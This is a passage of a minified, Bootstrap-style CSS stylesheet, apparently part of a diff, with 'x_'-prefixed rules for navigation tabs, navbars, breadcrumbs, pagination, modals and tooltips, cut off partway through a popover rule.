.x_nav-header{display:block;padding:3px 15px;font-size:11px;font-weight:bold;line-height:20px;color:#999999;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);text-transform:uppercase} +.x .x_nav li+.x_nav-header{margin-top:9px} +.x .x_nav-list{padding-right:15px;padding-left:15px;margin-bottom:0} +.x .x_nav-list>li>a, +.x .x_nav-list .x_nav-header{margin-right:-15px;margin-left:-15px;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5)} +.x .x_nav-list>li>a{padding:3px 15px} +.x .x_nav-list>.x_active>a, +.x .x_nav-list>.x_active>a:hover{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.2);background-color:#0088cc} +.x .x_nav-list [class^="x_icon-"], +.x .x_nav-list [class*=" x_icon-"]{margin-right:2px} +.x .x_nav-list .x_divider{*width:100%;height:1px;margin:9px 1px;*margin:-5px 0 5px;overflow:hidden;background-color:#e5e5e5;border-bottom:1px solid #ffffff} +.x .x_nav-tabs, +.x .x_nav-pills{*zoom:1} +.x .x_nav-tabs:before, +.x .x_nav-pills:before, +.x .x_nav-tabs:after, +.x .x_nav-pills:after{display:table;line-height:0;content:""} +.x .x_nav-tabs:after, +.x .x_nav-pills:after{clear:both} +.x .x_nav-tabs>li, +.x .x_nav-pills>li{float:left} +.x .x_nav-tabs>li>a, +.x .x_nav-pills>li>a{padding-right:12px;padding-left:12px;margin-right:2px;line-height:14px} +.x .x_nav-tabs{border-bottom:1px solid #ddd} +.x .x_nav-tabs>li{margin-bottom:-1px} +.x .x_nav-tabs>li>a{padding-top:8px;padding-bottom:8px;line-height:20px;border:1px solid transparent;-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0} +.x .x_nav-tabs>li>a:hover{border-color:#eeeeee #eeeeee #dddddd} +.x .x_nav-tabs>.x_active>a, +.x .x_nav-tabs>.x_active>a:hover{color:#555555;cursor:default;background-color:#ffffff;border:1px solid #ddd;border-bottom-color:transparent} +.x .x_nav-pills>li>a{padding-top:8px;padding-bottom:8px;margin-top:2px;margin-bottom:2px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px} +.x .x_nav-pills>.x_active>a, +.x .x_nav-pills>.x_active>a:hover{color:#ffffff;background-color:#0088cc} +.x .x_nav-stacked>li{float:none} +.x .x_nav-stacked>li>a{margin-right:0} +.x .x_nav-tabs.x_nav-stacked{border-bottom:0} +.x .x_nav-tabs.x_nav-stacked>li>a{border:1px solid #ddd;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0} +.x .x_nav-tabs.x_nav-stacked>li:first-child>a{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-topright:4px;-moz-border-radius-topleft:4px} +.x .x_nav-tabs.x_nav-stacked>li:last-child>a{-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-moz-border-radius-bottomright:4px;-moz-border-radius-bottomleft:4px} +.x .x_nav-tabs.x_nav-stacked>li>a:hover{z-index:2;border-color:#ddd} +.x .x_nav-pills.x_nav-stacked>li>a{margin-bottom:3px} +.x .x_nav-pills.x_nav-stacked>li:last-child>a{margin-bottom:1px} +.x .x_nav-tabs .x_dropdown-menu{-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px} +.x .x_nav-pills .x_dropdown-menu{-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px} +.x .x_nav .x_dropdown-toggle .x_caret{margin-top:6px;border-top-color:#0088cc;border-bottom-color:#0088cc} +.x .x_nav .x_dropdown-toggle:hover .x_caret{border-top-color:#005580;border-bottom-color:#005580} +/* move down carets for tabs */ +.x .x_nav-tabs .x_dropdown-toggle .x_caret{margin-top:8px} +.x .x_nav .x_active .x_dropdown-toggle .x_caret{border-top-color:#fff;border-bottom-color:#fff} +.x .x_nav-tabs .x_active .x_dropdown-toggle .x_caret{border-top-color:#555555;border-bottom-color:#555555} +.x .x_nav>.x_dropdown.x_active>a:hover{cursor:pointer} +.x .x_nav-tabs .x_open .x_dropdown-toggle, +.x .x_nav-pills .x_open .x_dropdown-toggle, +.x .x_nav>li.x_dropdown.x_open.x_active>a:hover{color:#ffffff;background-color:#999999;border-color:#999999} +.x .x_nav li.x_dropdown.x_open .x_caret, +.x .x_nav li.x_dropdown.x_open.x_active .x_caret, +.x .x_nav li.x_dropdown.x_open a:hover .x_caret{border-top-color:#ffffff;border-bottom-color:#ffffff;opacity:1;filter:alpha(opacity=100)} +.x .x_tabs-stacked .x_open>a:hover{border-color:#999999} +.x .x_tabbable{*zoom:1} +.x .x_tabbable:before, +.x .x_tabbable:after{display:table;line-height:0;content:""} +.x .x_tabbable:after{clear:both} +.x .x_tab-content{overflow:auto} +.x .x_tabs-below>.x_nav-tabs, +.x .x_tabs-right>.x_nav-tabs, +.x .x_tabs-left>.x_nav-tabs{border-bottom:0} +.x .x_tab-content>.x_tab-pane, +.x .x_pill-content>.x_pill-pane{display:none} +.x .x_tab-content>.x_active, +.x .x_pill-content>.x_active{display:block} +.x .x_tabs-below>.x_nav-tabs{border-top:1px solid #ddd} +.x .x_tabs-below>.x_nav-tabs>li{margin-top:-1px;margin-bottom:0} +.x .x_tabs-below>.x_nav-tabs>li>a{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px} +.x .x_tabs-below>.x_nav-tabs>li>a:hover{border-top-color:#ddd;border-bottom-color:transparent} +.x .x_tabs-below>.x_nav-tabs>.x_active>a, +.x .x_tabs-below>.x_nav-tabs>.x_active>a:hover{border-color:transparent #ddd #ddd #ddd} +.x .x_tabs-left>.x_nav-tabs>li, +.x .x_tabs-right>.x_nav-tabs>li{float:none} +.x .x_tabs-left>.x_nav-tabs>li>a, +.x .x_tabs-right>.x_nav-tabs>li>a{min-width:74px;margin-right:0;margin-bottom:3px} +.x .x_tabs-left>.x_nav-tabs{float:left;margin-right:19px;border-right:1px solid #ddd} +.x .x_tabs-left>.x_nav-tabs>li>a{margin-right:-1px;-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px} +.x .x_tabs-left>.x_nav-tabs>li>a:hover{border-color:#eeeeee #dddddd #eeeeee #eeeeee} +.x .x_tabs-left>.x_nav-tabs .x_active>a, +.x .x_tabs-left>.x_nav-tabs .x_active>a:hover{border-color:#ddd transparent #ddd #ddd;*border-right-color:#ffffff} +.x .x_tabs-right>.x_nav-tabs{float:right;margin-left:19px;border-left:1px solid #ddd} +.x .x_tabs-right>.x_nav-tabs>li>a{margin-left:-1px;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0} +.x .x_tabs-right>.x_nav-tabs>li>a:hover{border-color:#eeeeee #eeeeee #eeeeee #dddddd} +.x .x_tabs-right>.x_nav-tabs .x_active>a, +.x .x_tabs-right>.x_nav-tabs .x_active>a:hover{border-color:#ddd #ddd #ddd transparent;*border-left-color:#ffffff} +.x .x_nav>.x_disabled>a{color:#999999} +.x .x_nav>.x_disabled>a:hover{text-decoration:none;cursor:default;background-color:transparent} +.x .x_navbar{*position:relative;*z-index:2;margin-bottom:20px;overflow:visible} +.x .x_navbar-inner{min-height:40px;padding-right:20px;padding-left:20px;background-color:#fafafa;background-image:-moz-linear-gradient(top, #ffffff, #f2f2f2);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#f2f2f2));background-image:-webkit-linear-gradient(top, #ffffff, #f2f2f2);background-image:-o-linear-gradient(top, #ffffff, #f2f2f2);background-image:linear-gradient(to bottom, #ffffff, #f2f2f2);background-repeat:repeat-x;border:1px solid #d4d4d4;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#f2f2f2', GradientType=0);*zoom:1;-webkit-box-shadow:0 1px 4px rgba(0, 0, 0, 0.065);-moz-box-shadow:0 1px 4px rgba(0, 0, 0, 0.065);box-shadow:0 1px 4px rgba(0, 0, 0, 0.065)} +.x .x_navbar-inner:before, +.x .x_navbar-inner:after{display:table;line-height:0;content:""} +.x .x_navbar-inner:after{clear:both} +.x .x_navbar .x_container{width:auto} +.x .x_nav-collapse.x_collapse{height:auto;overflow:visible} +.x .x_navbar .x_brand{display:block;float:left;padding:10px 20px 10px;margin-left:-20px;font-size:20px;font-weight:200;color:#777777;text-shadow:0 1px 0 #ffffff} +.x .x_navbar .x_brand:hover{text-decoration:none} +.x .x_navbar-text{margin-bottom:0;line-height:40px;color:#777777} +.x .x_navbar-link{color:#777777} +.x .x_navbar-link:hover{color:#333333} +.x .x_navbar .x_divider-vertical{height:40px;margin:0 9px;border-right:1px solid #ffffff;border-left:1px solid #f2f2f2} +.x .x_navbar .x_btn, +.x .x_navbar .x_btn-group{margin-top:5px} +.x .x_navbar .x_btn-group .x_btn, +.x .x_navbar .x_input-prepend .x_btn, +.x .x_navbar .x_input-append .x_btn{margin-top:0} +.x .x_navbar-form{margin-bottom:0;*zoom:1} +.x .x_navbar-form:before, +.x .x_navbar-form:after{display:table;line-height:0;content:""} +.x .x_navbar-form:after{clear:both} +.x .x_navbar-form input, +.x .x_navbar-form select, +.x .x_navbar-form .x_radio, +.x .x_navbar-form .x_checkbox{margin-top:5px} +.x .x_navbar-form input, +.x .x_navbar-form select, +.x .x_navbar-form .x_btn{display:inline-block;margin-bottom:0} +.x .x_navbar-form input[type="image"], +.x .x_navbar-form input[type="checkbox"], +.x .x_navbar-form input[type="radio"]{margin-top:3px} +.x .x_navbar-form .x_input-append, +.x .x_navbar-form .x_input-prepend{margin-top:5px;white-space:nowrap} +.x .x_navbar-form .x_input-append input, +.x .x_navbar-form .x_input-prepend input{margin-top:0} +.x .x_navbar-search{position:relative;float:left;margin-top:5px;margin-bottom:0} +.x .x_navbar-search .x_search-query{padding:4px 14px;margin-bottom:0;font-family:"Helvetica Neue", Helvetica, Arial, sans-serif;font-size:13px;font-weight:normal;line-height:1;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px} +.x .x_navbar-static-top{position:static;margin-bottom:0} +.x .x_navbar-static-top .x_navbar-inner{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0} +.x .x_navbar-fixed-top, +.x .x_navbar-fixed-bottom{position:fixed;right:0;left:0;z-index:1030;margin-bottom:0} +.x .x_navbar-fixed-top .x_navbar-inner, +.x .x_navbar-static-top .x_navbar-inner{border-width:0 0 1px} +.x .x_navbar-fixed-bottom .x_navbar-inner{border-width:1px 0 0} +.x .x_navbar-fixed-top .x_navbar-inner, +.x .x_navbar-fixed-bottom .x_navbar-inner{padding-right:0;padding-left:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0} +.x .x_navbar-static-top .x_container, +.x .x_navbar-fixed-top .x_container, +.x .x_navbar-fixed-bottom .x_container{width:940px} +.x .x_navbar-fixed-top{top:0} +.x .x_navbar-fixed-top .x_navbar-inner, +.x .x_navbar-static-top .x_navbar-inner{-webkit-box-shadow:0 1px 10px rgba(0, 0, 0, 0.1);-moz-box-shadow:0 1px 10px rgba(0, 0, 0, 0.1);box-shadow:0 1px 10px rgba(0, 0, 0, 0.1)} +.x .x_navbar-fixed-bottom{bottom:0} +.x .x_navbar-fixed-bottom .x_navbar-inner{-webkit-box-shadow:0 -1px 10px rgba(0, 0, 0, 0.1);-moz-box-shadow:0 -1px 10px rgba(0, 0, 0, 0.1);box-shadow:0 -1px 10px rgba(0, 0, 0, 0.1)} +.x .x_navbar .x_nav{position:relative;left:0;display:block;float:left;margin:0 10px 0 0} +.x .x_navbar .x_nav.x_pull-right{float:right;margin-right:0} +.x .x_navbar .x_nav>li{float:left} +.x .x_navbar .x_nav>li>a{float:none;padding:10px 15px 10px;color:#777777;text-decoration:none;text-shadow:0 1px 0 #ffffff} +.x .x_navbar .x_nav .x_dropdown-toggle .x_caret{margin-top:8px} +.x .x_navbar .x_nav>li>a:focus, +.x .x_navbar .x_nav>li>a:hover{color:#333333;text-decoration:none;background-color:transparent} +.x .x_navbar .x_nav>.x_active>a, +.x .x_navbar .x_nav>.x_active>a:hover, +.x .x_navbar .x_nav>.x_active>a:focus{color:#555555;text-decoration:none;background-color:#e5e5e5;-webkit-box-shadow:inset 0 3px 8px rgba(0, 0, 0, 0.125);-moz-box-shadow:inset 0 3px 8px rgba(0, 0, 0, 0.125);box-shadow:inset 0 3px 8px rgba(0, 0, 0, 0.125)} +.x .x_navbar .x_btn-navbar{display:none;float:right;padding:7px 10px;margin-right:5px;margin-left:5px;color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#ededed;*background-color:#e5e5e5;background-image:-moz-linear-gradient(top, #f2f2f2, #e5e5e5);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#f2f2f2), to(#e5e5e5));background-image:-webkit-linear-gradient(top, #f2f2f2, #e5e5e5);background-image:-o-linear-gradient(top, #f2f2f2, #e5e5e5);background-image:linear-gradient(to bottom, #f2f2f2, #e5e5e5);background-repeat:repeat-x;border-color:#e5e5e5 #e5e5e5 #bfbfbf;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f2f2f2', endColorstr='#e5e5e5', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);-webkit-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.075);-moz-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.075);box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.075)} +.x .x_navbar .x_btn-navbar:hover, +.x .x_navbar .x_btn-navbar:active, +.x .x_navbar .x_btn-navbar.x_active, +.x .x_navbar .x_btn-navbar.x_disabled, +.x .x_navbar .x_btn-navbar[disabled]{color:#ffffff;background-color:#e5e5e5;*background-color:#d9d9d9} +.x .x_navbar .x_btn-navbar:active, +.x .x_navbar .x_btn-navbar.x_active{background-color:#cccccc \9} +.x .x_navbar .x_btn-navbar .x_icon-bar{display:block;width:18px;height:2px;background-color:#f5f5f5;-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 1px 0 rgba(0, 0, 0, 0.25);-moz-box-shadow:0 1px 0 rgba(0, 0, 0, 0.25);box-shadow:0 1px 0 rgba(0, 0, 0, 0.25)} +.x .x_btn-navbar .x_icon-bar+.x_icon-bar{margin-top:3px} +.x .x_navbar .x_nav>li>.x_dropdown-menu:before{position:absolute;top:-7px;left:9px;display:inline-block;border-right:7px solid transparent;border-bottom:7px solid #ccc;border-left:7px solid transparent;border-bottom-color:rgba(0, 0, 0, 0.2);content:''} +.x .x_navbar .x_nav>li>.x_dropdown-menu:after{position:absolute;top:-6px;left:10px;display:inline-block;border-right:6px solid transparent;border-bottom:6px solid #ffffff;border-left:6px solid transparent;content:''} +.x .x_navbar-fixed-bottom .x_nav>li>.x_dropdown-menu:before{top:auto;bottom:-7px;border-top:7px solid #ccc;border-bottom:0;border-top-color:rgba(0, 0, 0, 0.2)} +.x .x_navbar-fixed-bottom .x_nav>li>.x_dropdown-menu:after{top:auto;bottom:-6px;border-top:6px solid #ffffff;border-bottom:0} +.x .x_navbar .x_nav li.x_dropdown>a:hover .x_caret{border-top-color:#555555;border-bottom-color:#555555} +.x .x_navbar .x_nav li.x_dropdown.x_open>.x_dropdown-toggle, +.x .x_navbar .x_nav li.x_dropdown.x_active>.x_dropdown-toggle, +.x .x_navbar .x_nav li.x_dropdown.x_open.x_active>.x_dropdown-toggle{color:#555555;background-color:#e5e5e5} +.x .x_navbar .x_nav li.x_dropdown>.x_dropdown-toggle .x_caret{border-top-color:#777777;border-bottom-color:#777777} +.x .x_navbar .x_nav li.x_dropdown.x_open>.x_dropdown-toggle .x_caret, +.x .x_navbar .x_nav li.x_dropdown.x_active>.x_dropdown-toggle .x_caret, +.x .x_navbar .x_nav li.x_dropdown.x_open.x_active>.x_dropdown-toggle .x_caret{border-top-color:#555555;border-bottom-color:#555555} +.x .x_navbar .x_pull-right>li>.x_dropdown-menu, +.x .x_navbar .x_nav>li>.x_dropdown-menu.x_pull-right{right:0;left:auto} +.x .x_navbar .x_pull-right>li>.x_dropdown-menu:before, +.x .x_navbar .x_nav>li>.x_dropdown-menu.x_pull-right:before{right:12px;left:auto} +.x .x_navbar .x_pull-right>li>.x_dropdown-menu:after, +.x .x_navbar .x_nav>li>.x_dropdown-menu.x_pull-right:after{right:13px;left:auto} +.x .x_navbar .x_pull-right>li>.x_dropdown-menu .x_dropdown-menu, +.x .x_navbar .x_nav>li>.x_dropdown-menu.x_pull-right .x_dropdown-menu{right:100%;left:auto;margin-right:-1px;margin-left:0;-webkit-border-radius:6px 0 6px 6px;-moz-border-radius:6px 0 6px 6px;border-radius:6px 0 6px 6px} +.x .x_navbar-inverse .x_navbar-inner{background-color:#1b1b1b;background-image:-moz-linear-gradient(top, #222222, #111111);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#222222), to(#111111));background-image:-webkit-linear-gradient(top, #222222, #111111);background-image:-o-linear-gradient(top, #222222, #111111);background-image:linear-gradient(to bottom, #222222, #111111);background-repeat:repeat-x;border-color:#252525;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#222222', endColorstr='#111111', GradientType=0)} +.x .x_navbar-inverse .x_brand, +.x .x_navbar-inverse .x_nav>li>a{color:#999999;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25)} +.x .x_navbar-inverse .x_brand:hover, +.x .x_navbar-inverse .x_nav>li>a:hover{color:#ffffff} +.x .x_navbar-inverse .x_brand{color:#999999} +.x .x_navbar-inverse .x_navbar-text{color:#999999} +.x .x_navbar-inverse .x_nav>li>a:focus, +.x .x_navbar-inverse .x_nav>li>a:hover{color:#ffffff;background-color:transparent} +.x .x_navbar-inverse .x_nav .x_active>a, +.x .x_navbar-inverse .x_nav .x_active>a:hover, +.x .x_navbar-inverse .x_nav .x_active>a:focus{color:#ffffff;background-color:#111111} +.x .x_navbar-inverse .x_navbar-link{color:#999999} +.x .x_navbar-inverse .x_navbar-link:hover{color:#ffffff} +.x .x_navbar-inverse .x_divider-vertical{border-right-color:#222222;border-left-color:#111111} +.x .x_navbar-inverse .x_nav li.x_dropdown.x_open>.x_dropdown-toggle, +.x .x_navbar-inverse .x_nav li.x_dropdown.x_active>.x_dropdown-toggle, +.x .x_navbar-inverse .x_nav li.x_dropdown.x_open.x_active>.x_dropdown-toggle{color:#ffffff;background-color:#111111} +.x .x_navbar-inverse .x_nav li.x_dropdown>a:hover .x_caret{border-top-color:#ffffff;border-bottom-color:#ffffff} +.x .x_navbar-inverse .x_nav li.x_dropdown>.x_dropdown-toggle .x_caret{border-top-color:#999999;border-bottom-color:#999999} +.x .x_navbar-inverse .x_nav li.x_dropdown.x_open>.x_dropdown-toggle .x_caret, +.x .x_navbar-inverse .x_nav li.x_dropdown.x_active>.x_dropdown-toggle .x_caret, +.x .x_navbar-inverse .x_nav li.x_dropdown.x_open.x_active>.x_dropdown-toggle .x_caret{border-top-color:#ffffff;border-bottom-color:#ffffff} +.x .x_navbar-inverse .x_navbar-search .x_search-query{color:#ffffff;background-color:#515151;border-color:#111111;-webkit-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1), 0 1px 0 rgba(255, 255, 255, 0.15);-moz-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1), 0 1px 0 rgba(255, 255, 255, 0.15);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1), 0 1px 0 rgba(255, 255, 255, 0.15);-webkit-transition:none;-moz-transition:none;-o-transition:none;transition:none} +.x .x_navbar-inverse .x_navbar-search .x_search-query:-moz-placeholder{color:#cccccc} +.x .x_navbar-inverse .x_navbar-search .x_search-query:-ms-input-placeholder{color:#cccccc} +.x .x_navbar-inverse .x_navbar-search .x_search-query::-webkit-input-placeholder{color:#cccccc} +.x .x_navbar-inverse .x_navbar-search .x_search-query:focus, +.x .x_navbar-inverse .x_navbar-search .x_search-query.x_focused{padding:5px 15px;color:#333333;text-shadow:0 1px 0 #ffffff;background-color:#ffffff;border:0;outline:0;-webkit-box-shadow:0 0 3px rgba(0, 0, 0, 0.15);-moz-box-shadow:0 0 3px rgba(0, 0, 0, 0.15);box-shadow:0 0 3px rgba(0, 0, 0, 0.15)} +.x .x_navbar-inverse .x_btn-navbar{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#0e0e0e;*background-color:#040404;background-image:-moz-linear-gradient(top, #151515, #040404);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#151515), to(#040404));background-image:-webkit-linear-gradient(top, #151515, #040404);background-image:-o-linear-gradient(top, #151515, #040404);background-image:linear-gradient(to bottom, #151515, #040404);background-repeat:repeat-x;border-color:#040404 #040404 #000000;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#151515', endColorstr='#040404', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)} +.x .x_navbar-inverse .x_btn-navbar:hover, +.x .x_navbar-inverse .x_btn-navbar:active, +.x .x_navbar-inverse .x_btn-navbar.x_active, +.x .x_navbar-inverse .x_btn-navbar.x_disabled, +.x .x_navbar-inverse .x_btn-navbar[disabled]{color:#ffffff;background-color:#040404;*background-color:#000000} +.x .x_navbar-inverse .x_btn-navbar:active, +.x .x_navbar-inverse .x_btn-navbar.x_active{background-color:#000000 \9} +.x .x_breadcrumb{padding:8px 15px;margin:0 0 20px;list-style:none;background-color:#f5f5f5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px} +.x .x_breadcrumb>li{display:inline-block;*display:inline;text-shadow:0 1px 0 #ffffff;*zoom:1} +.x .x_breadcrumb>li>.x_divider{padding:0 5px;color:#ccc} +.x .x_breadcrumb>.x_active{color:#999999} +.x .x_pagination{margin:20px 0} +.x .x_pagination ul{display:inline-block;*display:inline;margin-bottom:0;margin-left:0;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;*zoom:1;-webkit-box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:0 1px 2px rgba(0, 0, 0, 0.05)} +.x .x_pagination ul>li{display:inline} +.x .x_pagination ul>li>a, +.x .x_pagination ul>li>span{float:left;padding:4px 12px;line-height:20px;text-decoration:none;background-color:#ffffff;border:1px solid #dddddd;border-left-width:0} +.x .x_pagination ul>li>a:hover, +.x .x_pagination ul>.x_active>a, +.x .x_pagination ul>.x_active>span{background-color:#f5f5f5} +.x .x_pagination ul>.x_active>a, +.x .x_pagination ul>.x_active>span{color:#999999;cursor:default} +.x .x_pagination ul>.x_disabled>span, +.x .x_pagination ul>.x_disabled>a, +.x .x_pagination ul>.x_disabled>a:hover{color:#999999;cursor:default;background-color:transparent} +.x .x_pagination ul>li:first-child>a, +.x .x_pagination ul>li:first-child>span{border-left-width:1px;-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-bottomleft:4px;-moz-border-radius-topleft:4px} +.x .x_pagination ul>li:last-child>a, +.x .x_pagination ul>li:last-child>span{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;-moz-border-radius-topright:4px;-moz-border-radius-bottomright:4px} +.x .x_pagination-centered{text-align:center} +.x .x_pagination-right{text-align:right} +.x .x_pagination-large ul>li>a, +.x .x_pagination-large ul>li>span{padding:11px 19px;font-size:17.5px} +.x .x_pagination-large ul>li:first-child>a, +.x .x_pagination-large ul>li:first-child>span{-webkit-border-bottom-left-radius:6px;border-bottom-left-radius:6px;-webkit-border-top-left-radius:6px;border-top-left-radius:6px;-moz-border-radius-bottomleft:6px;-moz-border-radius-topleft:6px} +.x .x_pagination-large ul>li:last-child>a, +.x .x_pagination-large ul>li:last-child>span{-webkit-border-top-right-radius:6px;border-top-right-radius:6px;-webkit-border-bottom-right-radius:6px;border-bottom-right-radius:6px;-moz-border-radius-topright:6px;-moz-border-radius-bottomright:6px} +.x .x_pagination-mini ul>li:first-child>a, +.x .x_pagination-small ul>li:first-child>a, +.x .x_pagination-mini ul>li:first-child>span, +.x .x_pagination-small ul>li:first-child>span{-webkit-border-bottom-left-radius:3px;border-bottom-left-radius:3px;-webkit-border-top-left-radius:3px;border-top-left-radius:3px;-moz-border-radius-bottomleft:3px;-moz-border-radius-topleft:3px} +.x .x_pagination-mini ul>li:last-child>a, +.x .x_pagination-small ul>li:last-child>a, +.x .x_pagination-mini ul>li:last-child>span, +.x .x_pagination-small ul>li:last-child>span{-webkit-border-top-right-radius:3px;border-top-right-radius:3px;-webkit-border-bottom-right-radius:3px;border-bottom-right-radius:3px;-moz-border-radius-topright:3px;-moz-border-radius-bottomright:3px} +.x .x_pagination-small ul>li>a, +.x .x_pagination-small ul>li>span{padding:2px 10px;font-size:11.9px} +.x .x_pagination-mini ul>li>a, +.x .x_pagination-mini ul>li>span{padding:0 6px;font-size:10.5px} +.x .x_pager{margin:20px 0;text-align:center;list-style:none;*zoom:1} +.x .x_pager:before, +.x .x_pager:after{display:table;line-height:0;content:""} +.x .x_pager:after{clear:both} +.x .x_pager li{display:inline} +.x .x_pager li>a, +.x .x_pager li>span{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px} +.x .x_pager li>a:hover{text-decoration:none;background-color:#f5f5f5} +.x .x_pager .x_next>a, +.x .x_pager .x_next>span{float:right} +.x .x_pager .x_previous>a, +.x .x_pager .x_previous>span{float:left} +.x .x_pager .x_disabled>a, +.x .x_pager .x_disabled>a:hover, +.x .x_pager .x_disabled>span{color:#999999;cursor:default;background-color:#fff} +.x_modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000000} +.x_modal-backdrop.x_fade{opacity:0} +.x_modal-backdrop, +.x_modal-backdrop.x_fade.x_in{opacity:0.8;filter:alpha(opacity=80)} +.x_modal{position:fixed;top:10%;left:50%;z-index:1050;width:560px;margin-left:-280px;background-color:#ffffff;border:1px solid #999;border:1px solid rgba(0, 0, 0, 0.3);*border:1px solid #999;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;outline:none;-webkit-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);-moz-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box} +.x_modal.x_fade{top:-25%;-webkit-transition:opacity 0.3s linear, top 0.3s ease-out;-moz-transition:opacity 0.3s linear, top 0.3s ease-out;-o-transition:opacity 0.3s linear, top 0.3s ease-out;transition:opacity 0.3s linear, top 0.3s ease-out} +.x_modal.x_fade.x_in{top:10%} +.x .x_modal-header{padding:9px 15px;border-bottom:1px solid #eee} +.x .x_modal-header .x_close{margin-top:2px} +.x .x_modal-header h3{margin:0;line-height:30px} +.x .x_modal-body{position:relative;max-height:400px;padding:15px;overflow-y:auto} +.x .x_modal-form{margin-bottom:0} +.x .x_modal-footer{padding:14px 15px 15px;margin-bottom:0;text-align:right;background-color:#f5f5f5;border-top:1px solid #ddd;-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px;*zoom:1;-webkit-box-shadow:inset 0 1px 0 #ffffff;-moz-box-shadow:inset 0 1px 0 #ffffff;box-shadow:inset 0 1px 0 #ffffff} +.x .x_modal-footer:before, +.x .x_modal-footer:after{display:table;line-height:0;content:""} +.x .x_modal-footer:after{clear:both} +.x .x_modal-footer .x_btn+.x_btn{margin-bottom:0;margin-left:5px} +.x .x_modal-footer .x_btn-group .x_btn+.x_btn{margin-left:-1px} +.x .x_modal-footer .x_btn-block+.x_btn-block{margin-left:0} +.x .x_tooltip{position:absolute;z-index:1030;display:block;padding:5px;font-size:11px;opacity:0;filter:alpha(opacity=0);visibility:visible} +.x .x_tooltip.x_in{opacity:0.8;filter:alpha(opacity=80)} +.x .x_tooltip.x_top{margin-top:-3px} +.x .x_tooltip.x_right{margin-left:3px} +.x .x_tooltip.x_bottom{margin-top:3px} +.x .x_tooltip.x_left{margin-left:-3px} +.x .x_tooltip-inner{max-width:200px;padding:3px 8px;color:#ffffff;text-align:center;text-decoration:none;background-color:#000000;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px} +.x .x_tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid} +.x .x_tooltip.x_top .x_tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-top-color:#000000;border-width:5px 5px 0} +.x .x_tooltip.x_right .x_tooltip-arrow{top:50%;left:0;margin-top:-5px;border-right-color:#000000;border-width:5px 5px 5px 0} +.x .x_tooltip.x_left .x_tooltip-arrow{top:50%;right:0;margin-top:-5px;border-left-color:#000000;border-width:5px 0 5px 5px} +.x .x_tooltip.x_bottom .x_tooltip-arrow{top:0;left:50%;margin-left:-5px;border-bottom-color:#000000;border-width:0 5px 5px} +.x .x_popover{position:absolute;top:0;left:0;z-index:1010;display:none;width:236px;padding:1px;text-align:left;white-space:normal;background-color:#ffffff;border:1px 